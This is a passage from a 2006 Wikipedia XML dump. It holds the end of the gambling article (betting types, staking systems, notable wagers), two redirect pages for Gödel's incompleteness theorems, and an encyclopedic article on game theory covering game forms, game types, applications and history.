* against odds - the most popular types of bets against odds comprise simple bets that a team will win and ''[[over-under]]'' (bets on the total points, runs, or goals scored by both teams). In making an over-under bet, the bettor wagers that the total will exceed or fall short of a total specified by the bookmaker.
* against a combination of odds and spread

In sports betting, a '''parlay''' involves a bet that two or more teams will win. In the United States gamblers have made the parlay card one of the most common forms of sports betting: here bettors wager on the outcomes of two or more games. If all their picks win, they collect. Most such betting occurs in workplaces. A [[teaser]] is one type of parlay where the bettor can alter the point spreads on the two games in the bet.

===Scratchcards===
A [[scratchcard]] is a small piece of card where an area has been covered by a substance that cannot be seen through, but can be scratched off. Under this area are concealed the items/pictures that must be 'found' in order to win.

The generic scratchcard requires the player to match three of the same prize amounts. If this is accomplished, they win that amount. Other scratchcards involve matching symbols, pictures or words.

Scratchcards are a very popular form of [[gambling]] due to their low cost. However, the low cost to buy a scratchcard is offset by the smaller prizes, compared to [[casino]] jackpots or [[lottery]] wins.


===Other types of betting===

One can also bet with another person that a statement is true or false, or that a specified event will happen (a &quot;back bet&quot;) or will not happen (a &quot;lay bet&quot;) within a specified time. This occurs in particular when two people have opposing but strongly-held views on truth or events. Not only do the parties hope to gain from the bet, they place the bet also to demonstrate their certainty about the issue. Some means of determining the issue at stake must exist. Sometimes the amount bet remains nominal, demonstrating the outcome as one of principle rather than of financial importance.

===Arbitrage betting===

[[Arbitrage betting]], is a no-risk or risk-free betting system, it is a special case of betting on events offered by betting websites which is not gambling but rather an unusual [[investment]] practice.

==Staking systems==

Many people have formulated staking systems in an attempt to &quot;beat the bookie&quot;, but most still accept that no staking system can make an unprofitable system profitable over time. Widely-used systems include:
* Fixed stakes &amp;#8211; a traditional system of staking the same amount on each selection. This method suits conservative punters if the stake remains below 5% of the bank.
* Fixed profits &amp;#8211; the stakes vary based on the odds to ensure the same profit from each winning selection. This method suits conservative punters well, although if the profitability of one's bets varies independently of the [[odds]] the bettor simply reduces his or her cash flow.
* Due-column betting &amp;#8211; A variation on fixed profits betting in which the bettor sets a target profit and then calculates a bet size that will make this profit, adding any losses to the target. For example, to make a target of $100 profit a bettor would wager $50 at odds of 2 to 1. If the bet loses, the target becomes $150. If the next bet is also at odds of 2 to 1, the wager therefore becomes $75. This type of wagering can prove ruinous in the long run.
*Kelly &amp;#8211; the optimium level to bet to maximise your future median bank level; the punter needs to estimate fair odds (in [[decimal odds]]) and then calculate the stake using:
 A = W - (1 - W )/(D - 1)
 Where:
  A = Percentage of the total bank to bet
  W = Percentage probability of winning (fair odds)
  D = Decimal odds (actual odds available)

*[[Martingale]] &amp;#8211; A system based on staking enough each time to recover losses from previous bet(s) until one wins. It is usually applied to even-money bets such as red/black on [[roulette]]. The Martingale guarantees failure in the long run - it would only work if the bettor has an unlimited bankroll, the bookmaker has no limit on the size of bets and neither party ever dies. However, it can usually be used to gain a small win in the short run, given a bankroll large enough to survive a streak of five or six losses.

==List of notable wagers==
*[[The man who broke the bank at Monte Carlo]]
*[[Pascal's wager]]
*[[St. Petersburg paradox]]
* The wager in ''[[Around the World in Eighty Days]]''
*[[Harry Bensley | Wager between John Pierpont Morgan and Hugh Cecil Lowther, 5th Earl of Lonsdale]] on whether a man could walk round the world and remain unidentified
*[[Wager between Julian Simon and Paul Ehrlich]] on commodity prices
*The annual [[Nenana, Alaska|Nenana Ice Classic]], when the inhabitants of [[Alaska]] bet on when the ice will break on the [[Tanana River]].
*Wager on [[Black hole information paradox]]: [[Stephen Hawking]] and [[Kip Thorne]] against [[John Preskill]]

==Associated word usage==
* The English expression &quot;I bet that ''xxxxx''&quot;, meaning &quot;I consider it very probable that ''xxxxx''&quot;, need not carry any suggestion of the speaker intending to gamble.
* The English word [[hazard]] originated as [[Arabic language|Arabic]] ''az-z&amp;#257;r'' or ''al-z&amp;#257;r'', which meant a type of [[dice]] game. Compare also the English word &quot;dicey&quot; meaning &quot;risky&quot;.
* Scientists have dubbed certain random-number-based calculation [[algorithm]]s the &quot;[[Monte Carlo method]]&quot;.
*'''Even money''', as a gambling term, describes a wagering [[proposition]] with even [[odds]] - in other words, if one loses a bet, one stands to lose the same amount of money that the winner of the bet would win (less, of course, the [[vigorish]] or &quot;juice&quot;). The term has come to have meaning in the wider [[English language|English]] usage beyond actual gambling, however, as a way of describing an event whose occurrence is about as likely to occur as not, as in &quot;It's even money that it will rain today&quot;. Compare ''50 50''.

==By country==
*[[Gambling in the People's Republic of China]]
*[[Gambling in France]]
*[[Gambling in Hong Kong]] (PRC)
*[[Gambling in Italy]]
*[[Gambling in Macau]] (PRC)
*[[Gambling in Monaco]]
*[[Gambling in Taiwan]]
*[[Gambling in the United Kingdom]]
*[[Gambling in the United States]]
*[[Gambling in Brazil]]

==See also==
*[[pathological gambling]]
*[[compulsive gambling]]
*[[Casino]]
*[[online gambling]]
*[[Online casino]]
*[[casino game]]
*[[Casino Night]]
*Casino [[comp]] and [[junket]]
*[[casino token]]
*[[deathpool]]
*[[bet exchange]]
*[[three card monte]]
*[[spread betting]]
*[[gambler's ruin]]
*[[gambler's fallacy]]
*[[Dutch book]]
*[[sports betting forums]]
*[[Australian punting glossary]]

==Bibliography==
*Brisman, Andrew. ''American Mensa Guide to Casino Gambling:  Winning Ways'' (Stirling, 1999) ISBN 080694837X 
*Ortiz, Darwin. ''Gambling Scams: How They Work, How to Detect Them, How to Protect Yourself'' (Carol, 1990) ISBN 0396083668 (Hardcover) ISBN 0818405295 (Paperback)
*Reith, Gerda. ''Age of Chance: Gambling in Western Culture'' ISBN 0415179971 (Hardcover) ISBN 0415263093 (Paperback)
*Steinmetz, Andrew. ''The Gaming Table: Its Votaries and Victims''  [http://www.gutenberg.net/etext96/tgamt10.txt Gutenberg text]
*Thorp, Edward O. ''Beat the Dealer: A Winning Strategy for the Game of Twenty-One'' (Vintage, 1966) ISBN 0394703103

==External links==
&lt;!-- Some fair warning, this section is watched closely. There are a few dozen high quality gambling information sites that could be linked here that would add to the value of the article. However, Wikipedia is not a link repository, so currently what is linked are the two authoritative link pages that link to most of the valuable gambling info content on the Internet. If you insist on thinking you have a link that is &quot;special&quot; enough to merit inclusion, please start a discussion to justify this (unlikely) circumstance. Also, this article is about general gambling information. --&gt;
{{wikiquote}}
*[http://dmoz.org/Games/Gambling/ DMOZ Gambling directory]
*[http://dir.yahoo.com/Recreation/Gambling/ Yahoo Gambling directory]
*[http://gaming.unlv.edu/ Gaming Studies Research Center] - at [[University of Nevada, Las Vegas]]
*[http://www.dictionaryofgambling.com DictionaryOfGambling.com]
*[http://www.gambling-law-us.com/ United States Gambling Laws]
*[http://www.unr.edu/gaming/ Institute for the Study of Gambling and Commercial Gaming] at the [[University of Nevada, Reno]]
*[http://www.gamblersanonymous.org Gamblers Anonymous International]
[[Category:Gambling|*]]

[[da:Hasardspil]]
[[de:Glücksspiel]]
[[eo:Hazardludo]]
[[fr:Jeu de hasard]]
[[ko:도박]]
[[it:Gioco d'azzardo]]
[[he:הימור]]
[[lt:Lošimas]]
[[nl:Gokken]]
[[ja:ギャンブル]]
[[no:Hasard]]
[[pl:Hazard]]
[[simple:Gambling]]
[[sl:Hazard]]
[[fi:Uhkapeli]]
[[sv:Hasardspel]]
[[zh:赌博]]</text>
    </revision>
  </page>
  <page>
    <title>Godels Incompleteness Theorem</title>
    <id>11922</id>
    <revision>
      <id>41645264</id>
      <timestamp>2006-02-28T19:35:35Z</timestamp>
      <contributor>
        <username>Trovatore</username>
        <id>310173</id>
      </contributor>
      <comment>fx dbl redir</comment>
      <text xml:space="preserve">#REDIRECT [[Gödel's incompleteness theorems]] {{R from misspelling}}</text>
    </revision>
  </page>
  <page>
    <title>Goedels Incompleteness Theorem</title>
    <id>11923</id>
    <revision>
      <id>41645448</id>
      <timestamp>2006-02-28T19:37:05Z</timestamp>
      <contributor>
        <username>Trovatore</username>
        <id>310173</id>
      </contributor>
      <comment>fx dbl rd</comment>
      <text xml:space="preserve">#REDIRECT [[Gödel's incompleteness theorems]] {{R from misspelling}}</text>
    </revision>
  </page>
  <page>
    <title>Game theory</title>
    <id>11924</id>
    <revision>
      <id>42054739</id>
      <timestamp>2006-03-03T14:13:10Z</timestamp>
      <contributor>
        <ip>87.196.29.193</ip>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">:''For other uses, see: [[game (disambiguation)|games in general]], a band named [[Game Theory (band)|Game Theory]], or [[combinatorial game theory]] (used to study games like [[nim]], [[chess]], and [[go (board game)|go]]).''

'''Game theory''' is a branch of [[applied mathematics]] that studies strategic situations where players choose different actions in an attempt to maximize their returns. First developed as a tool for understanding [[economics|economic]] behavior, game theory is now used in many diverse academic fields, ranging from [[biology]] to [[philosophy]]. Game theory saw substantial growth and its first formalization by [[John von Neumann]] before and during the [[Cold War]], mainly due to its application to [[military strategy]], most notably to the concept of [[mutual assured destruction]]. Beginning in the 1970s, game theory has been applied to animal behavior, including species' development by [[natural selection]]. Because of interesting games like the [[prisoner's dilemma]], in which mutual self-interest hurts everyone, game theory has been used in [[political science]], [[ethics]] and philosophy. Finally, game theory has recently drawn attention from [[computer science|computer scientists]] because of its use in [[artificial intelligence]] and [[cybernetics]].

In addition to its academic interest, game theory has received attention in popular culture. A [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Nobel Prize]]-winning game theorist, [[John Forbes Nash|John Nash]] was the subject of the 1998 biography by [[Sylvia Nasar]] and the 2001 film ''[[A Beautiful Mind]]''. Several [[game show]]s have adopted game theoretic situations, including  ''[[Friend or Foe?]]'' and to some extent ''[[Survivor (TV series)|Survivor]]''.  The character of [[Jack Bristow]] on the [[television]] show &quot;[[Alias]]&quot; is one of the few fictional game theorists in popular culture.  {{ref|popculture}}

Although similar to [[decision theory]], game theory studies decisions that are made in an environment where various players interact. In other words, game theory studies choice of optimal behavior when costs and benefits of each option are not fixed, but depend upon the choices of other individuals.

==Representation of games==

The '''games''' studied by game theory are well-defined mathematical objects. A game consists of a set of players, a set of moves (or [[strategy (game theory)|strategies]]) available to those players, and a specification of payoffs for each combination of strategies. There are two ways of representing games that are common in the literature. 

See also [[List of games in game theory]].

===Normal form===
{| align=right border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 1em; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+ align=bottom |''A normal form game''
|-
|
! scope=&quot;col&quot; style=&quot;color: #900;width: 90px;&quot;|''Player 2 chooses left''
! scope=&quot;col&quot; style=&quot;color: #900;width: 90px;&quot;|''Player 2 chooses right''
|-
! scope=&quot;col&quot; style=&quot;color: #009;width: 90px;&quot;|''Player 1 chooses top''
|align=center| &lt;span style=&quot;color: #009&quot;&gt;4&lt;/span&gt;, &lt;span style=&quot;color: #900&quot;&gt;3&lt;/span&gt;
|align=center| &lt;span style=&quot;color: #009&quot;&gt;-1&lt;/span&gt;, &lt;span style=&quot;color: #900&quot;&gt;-1&lt;/span&gt;
|-
! scope=&quot;col&quot; style=&quot;color: #009;width: 100px;&quot;|''Player 1 chooses bottom''
|align=center| &lt;span style=&quot;color: #009&quot;&gt;0&lt;/span&gt;, &lt;span style=&quot;color: #900&quot;&gt;0&lt;/span&gt;
|align=center| &lt;span style=&quot;color: #009&quot;&gt;3&lt;/span&gt;, &lt;span style=&quot;color: #900&quot;&gt;4&lt;/span&gt;
|}
{{main article|[[Normal form game]]}}
The normal (or strategic form) game is a [[Matrix (mathematics)|matrix]] which shows the players, strategies, and payoffs (see the example to the right). Here there are two players; one chooses the row and the other chooses the column. Each player has two strategies, which are specified by the number of rows and the number of columns. The payoffs are provided in the interior. The first number is the payoff received by the row player (''Player 1'' in our example); the second is the payoff for the column player (''Player 2'' in our example). Suppose that ''Player 1'' plays top and that ''Player 2'' plays left. Then ''Player 1'' gets 4, and ''Player 2'' gets 3.

When a game is presented in normal form, it is presumed that each player acts simultaneously or, at least, without knowing the actions of the other. If players have some information about the choices of other players, the game is usually presented in extensive form.

===Extensive form===
{{main article|[[Extensive form game]]}}
[[Image:Ult.png|thumb|left|An extensive form game]]
Extensive form games attempt to capture games with some important order. Games here are presented as [[tree (graph theory)|trees]] (as pictured to the left). Here each [[vertex]] (or node) represents a point of choice for a player. The player is specified by a number listed by the vertex. The lines out of the vertex represent a possible action for that player. The payoffs are specified at the bottom of the tree.

In the game pictured here, there are two players. ''Player 1'' moves first and chooses either ''F'' or ''U''. ''Player 2'' sees ''Player 1'''s move and then chooses ''A'' or ''R''. Suppose that ''Player 1'' chooses ''U'' and then ''Player 2'' chooses ''A'', then ''Player 1'' gets 8 and ''Player 2'' gets 2.

Extensive form games can also capture simultaneous-move games as well. Either a dotted line or circle is drawn around two different vertices to represent them as being part of the same [[information set]] (i.e., the players do not know at which point they are).

==Types of games==

===Symmetric and asymmetric===
{{main article|[[Symmetric game]]}}

{| border=&quot;1&quot; align=right cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 1em; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+ align=bottom|''An asymmetric game''
|
! ''E''
! ''F''
|-
! ''E''
| 1, 2
| 0, 0
|-
! ''F''
| 0, 0
| 1, 2
|}
A symmetric game is a game where the payoffs for playing a particular strategy depend only on the other strategies employed, not on who is playing them. If the identities of the players can be changed without changing the payoff to the strategies, then a game is symmetric. Many of the commonly studied 2&amp;times;2 games are symmetric. The standard representations of [[Game of chicken|chicken]], the [[prisoner's dilemma]], and the [[stag hunt]] are all symmetric games. {{ref|symmetry}}

Most commonly studied asymmetric games are games where there are not identical strategy sets for both players. For instance, the [[ultimatum game]] and similarly the [[dictator game]] have different strategies for each player. It is possible, however, for a game to have identical strategies for both players, yet be asymmetric. For example, the game pictured to the right is asymmetric despite having identical strategy sets for both players.

===Zero sum and non-zero sum===
{{main article|[[Zero-sum]]}}

{| border=&quot;1&quot; align=right cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 1em; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+ align=bottom|''A Zero-Sum Game''
|
! ''A''
! ''B''
|-
! ''A''
| 2, &amp;minus;2
| &amp;minus;1, 1
|-
! ''B''
| &amp;minus;1, 1
| 3, &amp;minus;3
|}
In [[zero-sum]] games the total benefit to all players in the game, for every combination of strategies, always adds to zero (or more informally put, a player benefits only at the expense of others). [[Poker]] exemplifies a zero-sum game (ignoring the possibility of the house's cut), because one wins exactly the amount one's opponents lose. Other zero sum games include [[matching pennies]] and most classical board games including [[go (board game)|go]] and [[chess]]. Many games studied by game theorists (including the famous [[prisoner's dilemma]]) are non-zero-sum games, because some [[Outcome (Game theory)|outcomes]] have net results greater or less than zero. Informally, in non-zero-sum games, a gain by one player does not necessarily correspond with a loss by another.

It is possible to transform any game into a zero-sum game by adding an additional dummy player (often called &quot;the board&quot;), whose losses compensate the players' net winnings.

===Simultaneous and sequential===
{{main article|[[Sequential game]]}}

Simultaneous games are games where both players move simultaneously, or if they do not move simultaneously, the later players are unaware of the earlier players' actions (making them ''effectively'' simultaneous). Sequential games (or dynamic games) are games where later players have some knowledge about earlier actions. This need not be [[perfect information|perfect knowledge]] about every action of earlier players; it might be very little information. For instance, a player may know that an earlier player did not perform one particular action, while she does not know which of the other available actions the first player actually performed.

The difference between simultaneous and sequential games is captured in the different representations discussed above. [[Normal form game|Normal form]] is used to represent simultaneous games, and [[extensive form game|extensive form]] is used to represent sequential ones.

===Perfect information and imperfect information===
[[Image:PD with outside option.png|thumb|250px|right|A game of imperfect information (the dotted line represents ignorance on the part of player 2)]]
{{main article|[[Perfect information]]}}

An important subset of sequential games consists of games of perfect information. A game is one of perfect information if all players know the moves previously made by all other players. Thus, only sequential games can be games of perfect information, since in simultaneous games not every player knows the actions of the others. Most games studied in game theory are imperfect information games, although some interesting games are games of perfect information, including the [[ultimatum game]] and [[centipede game]]. Many popular games are games of perfect information including [[chess]], [[go]], and [[mancala]].

Perfect information is often confused with [[complete information]], which is a similar concept. Complete information requires that every player know the strategies and payoffs of the other players but not necessarily the actions.

===Infinitely long games===
{{main article|[[Determinacy]]}}

For obvious reasons, games as studied by economists and real-world game players are generally finished in a finite number of moves. Pure mathematicians are not so constrained, and [[set theory|set theorists]] in particular study games that last for infinitely many moves, with the winner (or other payoff) not known until ''after'' all those moves are completed.

The focus of attention is usually not so much on what is the best way to play such a game, but simply on whether one or the other player has a [[Determinacy#Basic notions|winning strategy]]. (It can be proved, using the [[axiom of choice]], that there are games&amp;mdash;even with perfect information, and where the only outcomes are &quot;win&quot; or &quot;lose&quot;&amp;mdash;for which ''neither'' player has a winning strategy.) The existence of such strategies, for cleverly designed games, has important consequences in [[descriptive set theory]].

==Uses of game theory==

Games in one form or another are widely used in many different academic disciplines.

===Economics and business===

Economists have used game theory to analyze a wide array of economic phenomena, including [[auction]]s, [[bargaining]], [[duopoly|duopolies]] and [[oligopoly|oligopolies]], [[social network]] formation, and [[voting systems]].  This research usually focuses on particular sets of strategies known as [[solution concept|equilibria]] in games.  These &quot;solution concepts&quot; are usually based on what is required by norms of [[perfect rationality|rationality]].  The most famous of these is the [[Nash equilibrium]].  A set of strategies is a Nash equilibrium if each represents a best response to the other strategies.  So, if all the players are playing the strategies in a Nash equilibrium, they have no incentive to deviate, since their strategy is the best they can do given what others are doing. 

The payoffs of the game are generally taken to represent the [[utility function|utility]] of individual players. Often in modeling situations the payoffs represent money, which presumably corresponds to an individual's utility. This assumption, however, can be faulty.

A prototypical paper on game theory in economics begins by presenting a game that is an abstraction of some particular economic situation.  One or more solution concepts are chosen, and the author demonstrates which strategy sets in the presented game are equilibria of the appropriate type.  Naturally one might wonder to what use should this information be put.  Economists and business professors suggest two primary uses.

====Descriptive====
[[Image:Centipede game.png|thumb|300px|right|A three stage Centipede Game]]
The first use is to inform us about how actual human populations behave.  Some scholars believe that by finding the equilibria of games they can predict how actual human populations will behave when confronted with situations analogous to the game being studied.  This particular view of game theory has come under recent criticism.  First, it is criticized because the assumptions made by game theorists are often violated.  Game theorists may assume players always act rationally to maximize their wins (the [[Homo economicus]] model), but real humans often act either irrationally, or act rationally to maximize the wins of some larger group of people ([[altruism]]).  Game theorists respond by comparing their assumptions to those used in physics. Thus while their assumptions do not always hold, they can treat game theory as a reasonable scientific [[Idealization|ideal]] akin to the models used by [[physicist]]s.   However, additional criticism of this use of game theory has been levied because some experiments have demonstrated that individuals do not play equilibrium strategies.  For instance, in the [[Centipede game]], [[Guess 2/3 of the average]] game, and the [[Dictator game]], people regularly do not play Nash equilibria. There is an ongoing debate regarding the importance of these experiments. {{ref|experimental}}

Alternatively, some authors claim that Nash equilibria do not provide predictions for human populations, but rather provide an explanation for why populations that play Nash equilibria remain in that state.  However, the question of how populations reach those points remains open.

Some game theorists have turned to [[evolutionary game theory]] in order to resolve these worries.  These models presume either no rationality or [[bounded rationality]] on the part of players.  Despite the name, evolutionary game theory does not necessarily presume [[natural selection]] in the biological sense.  Evolutionary game theory includes both biological as well as cultural evolution and also models of individual learning (for example, [[fictitious play]] dynamics).

====Normative====
{| border=&quot;1&quot; align=right cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 1em; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+ align=bottom|''The Prisoner's Dilemma''
|
! ''Cooperate''
! ''Defect''
|-
! ''Cooperate''
| 2, 2
| 0, 3
|-
! ''Defect''
| 3, 0
| 1, 1
|}

On the other hand, some scholars see game theory not as a predictive tool for the behavior of human beings, but as a suggestion for how people ought to behave.  Since a [[Nash equilibrium]] of a game constitutes one's [[best response]] to the actions of the other players, playing a strategy that is part of a Nash equilibrium seems appropriate.  However, this use for game theory has also come under criticism.  First, in some cases it is appropriate to play a non-equilibrium strategy if one expects others to play non-equilibrium strategies as well.  For an example, see [[Guess 2/3 of the average]].  

Second, the [[Prisoner's Dilemma]] presents another potential counterexample.  In the Prisoner's Dilemma, each player pursuing his own self-interest leads both players to be worse off than had they not pursued their own self-interests.  Some scholars believe that this demonstrates the failure of game theory as a recommendation for behavior.

===Biology===
{| border=&quot;1&quot; align=right cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 1em; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+ align=bottom|''Hawk-Dove''
|
! ''Hawk''
! ''Dove''
|-
! ''Hawk''
| (V-C)/2, (V-C)/2
| V, 0
|-
! ''Dove''
| 0, V
| V/2, V/2
|}

Unlike economics, the payoffs for games in [[biology]] are often interpreted as corresponding to [[fitness]].  In addition, the focus has been less on [[solution concept|equilibria]] that correspond to a notion of rationality, but rather on ones that would be maintained by [[evolution]]ary forces.  The most well-known equilibrium in biology is known as the [[Evolutionary stable strategy]] or (ESS), and was first introduced by [[John Maynard Smith]] (described in his 1982 book).  Although its initial motivation did not involve any of the mental requirements of the [[Nash equilibrium]], every ESS is a Nash equilibrium.

In biology, game theory has been used to understand many different phenomena.  It was first used to explain the evolution (and stability) of the approximate 1:1 [[sex ratio]]s.  [[Ronald Fisher]] (1930) suggested that the 1:1 sex ratios are a result of evolutionary forces acting on individuals who could be seen as trying to maximize their number of grandchildren.

Additionally, biologists have used [[evolutionary game theory]] and the ESS to explain the emergence of [[animal communication]] ([[John Maynard Smith|Maynard Smith]] &amp; Harper, 2003).  The analysis of [[signaling games]] and [[cheap talk|other communication games]] has provided some insight into the evolution of communication among animals.  

Finally, biologists have used the [[hawk-dove game]] (also known as chicken) to analyze fighting behavior and territoriality.

===Computer science and logic===

Game theory has come to play an increasingly important role in [[logic]] and in [[computer science]]. Several logical theories have a basis in [[game semantics]]. In addition, computer scientists have used games to model [[interactive computation]]s.

===Philosophy===

Game theory has been put to several uses in [[philosophy]].  Responding to two papers by [[W.V.O. Quine]] (1960, 1967), [[David Lewis]] (1969) used game theory to develop a philosophical account of [[convention]].  In so doing, he provided the first analysis of [[common knowledge]] and employed it in analyzing play in [[coordination game]]s.  In addition, he first suggested that one can understand [[meaning]] in terms of [[signaling game]]s.  This later suggestion has been pursued by several philosophers since Lewis (Skyrms 1996, Grim et al. 2004).
{| border=&quot;1&quot; align=right cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 1em; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+ align=bottom|''The Stag Hunt''
|
! ''Stag''
! ''Hare''
|-
! ''Stag''
| 3, 3
| 0, 2
|-
! ''Hare''
| 2, 0
| 2, 2
|}

In [[ethics]], some authors have attempted to pursue the project, begun by [[Thomas Hobbes]], of deriving morality from self-interest.  Since games like the [[Prisoner's Dilemma]] present an apparent conflict between morality and self-interest, explaining why cooperation is required by self-interest is an important component of this project.  This general strategy is a component of the general [[social contract]] view in [[political philosophy]] (for examples, see Gauthier 1987 and Kavka 1986). {{ref|ethics}}

Finally, other authors have attempted to use [[evolutionary game theory]] in order to explain the emergence of human attitudes about morality and corresponding animal behaviors.  These authors look at several games including the Prisoner's Dilemma, [[Stag hunt]], and the [[Nash bargaining game]] as providing an explanation for the emergence of attitudes about morality (see, e.g., Skyrms 1996, 2004; Sober and Wilson 1999).

==History of game theory==

The first known discussion of game theory occurred in a letter written by [[James Waldegrave]] in 1713.  In this letter, Waldegrave provides a [[minimax]] [[mixed strategy]] solution to a two-person version of the card game [[le Her]].  It was not until the publication of [[Antoine Augustin Cournot]]'s ''Researches into the Mathematical Principles of the Theory of Wealth'' in 1838 that a general game theoretic analysis was pursued.  In this work Cournot considers a [[duopoly]] and presents a solution that is a restricted version of the [[Nash equilibrium]].

Although Cournot's analysis is more general than Waldegrave's, game theory did not really exist as a unique field until [[John von Neumann]] published a series of papers in 1928.  These results were later expanded in the 1944 book ''The Theory of Games and Economic Behavior'' by von Neumann and [[Oskar Morgenstern]]. This profound work contains the method for finding optimal solutions for two-person zero-sum games.  During this time period, work on game theory was primarily focused on [[cooperative game]] theory, which analyzes optimal strategies for groups of individuals, presuming that they can enforce agreements between them about proper strategies.

In 1950, the first discussion of the [[Prisoner's dilemma]] appeared, and an experiment was undertaken on this game at the [[RAND corporation]].  Around this same time, [[John Forbes Nash|John Nash]] developed a definition of an &quot;optimum&quot; strategy for multiplayer games where no such optimum was previously defined, known as [[Nash equilibrium]].  This equilibrium is sufficiently general, allowing for the analysis of [[non-cooperative game]]s in addition to cooperative ones.

Game theory experienced a flurry of activity in the 1950s, during which time the concepts of the [[core (economics)|core]], the [[extensive form game]], [[fictitious play]], [[repeated game]]s, and the [[Shapley value]] were developed.  In addition, the first applications of Game theory to [[philosophy]] and [[political science]] occurred during this time.

In 1965, [[Reinhard Selten]] introduced his [[solution concept]] of [[subgame perfect equilibrium|subgame perfect equilibria]], which further refined the [[Nash equilibrium]] (later he would introduce [[trembling hand perfection]] as well).  In 1967, [[John Harsanyi]] developed the concepts of [[complete information]] and [[Bayesian game]]s.  He, along with John Nash and Reinhard Selten, won the [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel]] in 1994.

In the 1970s, game theory was extensively applied in [[biology]], largely as a result of the work of [[John Maynard Smith]] and his [[evolutionary stable strategy]].  In addition, the concepts of [[correlated equilibrium]], trembling hand perfection, and [[common knowledge]]{{ref|commonknowledge}} were introduced and analyzed.  

In 2005, game theorists [[Thomas Schelling]] and [[Robert Aumann]] won the [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Bank of Sweden Prize in Economic Sciences]].  Schelling worked on dynamic models, early examples of [[evolutionary game theory]].  Aumann contributed more to the [[solution concept|equilibrium school]], developing an equilibrium coarsening correlated equilibrium and developing extensive analysis of the assumption of common knowledge.

==Notes==

# {{note|popculture}} [http://www.gametheory.net GameTheory.net] has an extensive list of [http://www.gametheory.net/popular/ references to game theory in popular culture].
# {{note|symmetry}} Some scholars would consider certain asymmetric games as examples of these games as well.  However, the most common payoffs for each of these games are symmetric.
# {{note|experimental}} Experimental work in game theory goes by many names, [[experimental economics]], [[behavioral economics]], and [[behavioral game theory]] are several.  For a recent discussion on this field see Camerer 2003.
# {{note|ethics}} For a more detailed discussion of the use of Game Theory in ethics see the Stanford Encyclopedia of Philosophy's entry [http://plato.stanford.edu/entries/game-ethics/ game theory and ethics].
# {{note|commonknowledge}} Although common knowledge was first discussed by the philosopher [[David Lewis]] in his dissertation (and later book) ''Convention'' in the late 1960s, it was not widely considered by economists until [[Robert Aumann]]'s work in the 1970s.

==References==

;Textbooks and general reference texts

*Bierman, H. S. and L. Fernandez, ''Game Theory with economic applications'', Addison-Wesley, 1998.
* Fudenberg, Drew and Jean Tirole: ''Game Theory'', MIT Press, 1991, ISBN 0262061414 (the definitive reference text)
* Gibbons, Robert (1992) ''Game Theory for Applied Economists'', Princeton University Press ISBN 0691003955 (readable; suitable for advanced undergraduates. Published in Europe by Harvester Wheatsheaf (London) with the title ''A primer in game theory'')
* Ginits, Herbert (2000) ''Game Theory Evolving''  Princeton University Press  ISBN 0691009430
* Osborne, Martin and [[Ariel Rubinstein]]: ''A Course in Game Theory'', MIT Press, 1994, ISBN 0-262-65040-1 (modern introduction at the introductory graduate level)
* Rasmusen, Erik: ''Games and information'', 4th edition, Blackwell, 2006. Available online [http://www.rasmusen.org/GI/index.html].

;Historically important texts

* [[Ronald Fisher|Fisher, Ronald]] (1930) ''[[The Genetical Theory of Natural Selection]]'' Clarendon Press, Oxford.
* Luce, Duncan and Howard Raiffa ''Games and Decisions: Introduction and Critical Survey'' Dover ISBN 0486659437
* [[John Maynard Smith|Maynard Smith, John]] ''[[Evolution and the Theory of Games]]'', Cambridge University Press 1982
* [[Oskar Morgenstern|Morgenstern, Oskar]] and [[John von Neumann]] (1947) ''The Theory of Games and Economic Behavior'' Princeton University Press
* [[John Forbes Nash|Nash, John]] (1950)  &quot;Equilibrium points in n-person games&quot; ''Proceedings of the National Academy of the USA'' 36(1):48-49.
* Poundstone, William ''Prisoner's Dilemma: [[John von Neumann]], Game Theory and the Puzzle of the Bomb'', ISBN 038541580X

;Other print references

* Camerer, Colin  (2003) ''Behavioral Game Theory'' Princeton University Press ISBN 0691090394
* Gauthier, David (1987) ''Morals by Agreement'' Oxford University Press ISBN 0198249926
* Grim, Patrick, Trina Kokalis, Ali Alai-Tafti, Nicholas Kilb, and Paul St Denis (2004) &quot;Making meaning happen.&quot;  ''Journal of Experimental &amp; Theoretical Artificial Intelligence'' 16(4): 209-243.
* Kavka, Gregory  (1986) ''Hobbesian Moral and Political Theory''  Princeton University Press. ISBN 069102765X
* [[David Lewis|Lewis, David]] (1969) ''Convention: A Philosophical Study''
* [[John Maynard Smith|Maynard Smith]], J. and Harper, D. (2003) ''Animal Signals''. Oxford University Press. ISBN 0198526857
* [[W.V.O. Quine|Quine, W.v.O]] (1967) &quot;Truth by Convention&quot; in ''Philosophica Essays for A.N. Whitehead'' Russel and Russel Publishers.  ISBN 0846209705
* Quine, W.v.O (1960) &quot;Carnap and Logical Truth&quot;  ''Synthese''   12(4):350-374.
* Skyrms, Brian (1996)  ''Evolution of the Social Contract'' Cambridge University Press. ISBN 0521555833
* Skyrms, Brian (2004) ''The Stag Hunt and the Evolution of Social Structure'' Cambridge University Press.  ISBN 0521533929.
* Sober, Elliot and David Sloan Wilson (1999) ''Unto Others: The Evolution and Psychology of Unselfish Behavior''  Harvard University Press. ISBN 0674930479

;Websites

* Paul Walker: [http://www.econ.canterbury.ac.nz/personal_pages/paul_walker/gt/hist.htm History of Game Theory Page].
* David Levine: [http://dklevine.com Game Theory. Papers, Lecture Notes and much more stuff.]
